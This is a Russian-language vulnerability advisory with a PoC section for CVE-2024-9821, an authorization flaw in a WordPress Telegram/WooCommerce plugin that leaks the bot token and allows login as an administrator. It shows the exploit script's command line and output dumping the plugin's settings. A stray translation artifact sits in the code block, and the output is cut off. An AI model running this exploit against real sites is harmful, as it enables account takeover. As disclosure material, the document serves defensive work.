CVE-2024-9821

Bot для Telegram на WooCommerce <= 1.2.4 - Раскрытие токена бота Telegram с аутентифицированным доступом (Подписчик+) и обход аутентификации

Описание

Плагин Bot для Telegram на WooCommerce для WordPress подвержен раскрытию конфиденциальной информации из-за отсутствия проверок авторизации в AJAX-действии 'stm_wpcfto_get_settings' во всех версиях до 1.2.4 включительно. Это позволяет аутентифицированным злоумышленникам, имеющим уровень доступа подписчика и выше, просматривать токен бота Telegram — секретный токен, используемый для управления ботом. Затем этот токен может быть использован для входа в систему под любым существующим пользователем сайта, например администратором, если злоумышленнику известно имя пользователя, благодаря функции «Вход через Telegram».``` Type: plugin CVSS Score: 8.8 CVE: CVE-2024-9821

* Slug: [bot-for-telegram-on-woocommerce](https://wordpress.org/plugin/bot-for-telegram-on-woocommerce)
* Ссылка для скачивания: [Download bot-for-telegram-on-woocommerce Version 1.2.4](https://downloads.wordpress.org/plugin/bot-for-telegram-on-woocommerce.zip)


POC
---```
python3 CVE-2024-9821.py -u http://kubernetes.docker.internal -un user -p user

Markdown-контент для перевода не предоставлен.``` Vulnerability check: http://kubernetes.docker.internal Logged in successfully. { 'bot_settings': { 'fields': { 'bftow_bot_api': { 'label': 'Telegram ' 'Bot Token', 'type': 'text', 'value': '8164783304:Axxxxxxxxxxxxxxxxxxxxxxxxxx'}, 'bftow_bot_name': { 'description': 'Set ' 'if ' 'you ' 'want ' 'user ' 'to ' 'get ' 'back ' 'to ' 'Telegram ' 'after ' 'successful ' 'checkout. ' '(Without ' '"@")', 'label': 'Telegram ' 'Bot Name', 'type': 'text', 'value': 'Superbotman'}, 'bftow_buttons': { 'description': 'Save ' 'BOT ' 'Token ' 'first', 'label': 'Activate ' 'API URL', 'type': 'bftow_webhook_activation', 'value': ''}, 'bftow_google_maps_api_key': { 'description': '<a ' 'href="https://developers.google.com/maps/documentation/geocoding/overview">Provide ' 'Google ' 'Maps ' 'API ' 'key ' 'with ' 'enabled ' 'geocoding ' 'API ' 'and ' 'configured ' 'billing ' 'account. ' 'If ' 'you ' 'leave ' 'this ' 'field ' 'empty, ' 'the ' 'location ' 'will ' 'be ' 'taken ' 'via ' 'openstreetmap', 'label': 'Google ' 'Maps ' 'API ' 'key', 'pro': True, 'type': 'text', 'value': ''}, 'bftow_proxy_server': { 'label': 'Proxy ' 'server', 'type': 'text', 'value': 'https://api.telegram.org/bot'}}, 'name': 'BOT API Settings'}, 'interface_settings': { 'fields': { 'bftow_cart_on_site': { 'description': 'if ' 'enabled ' 'and ' 'the '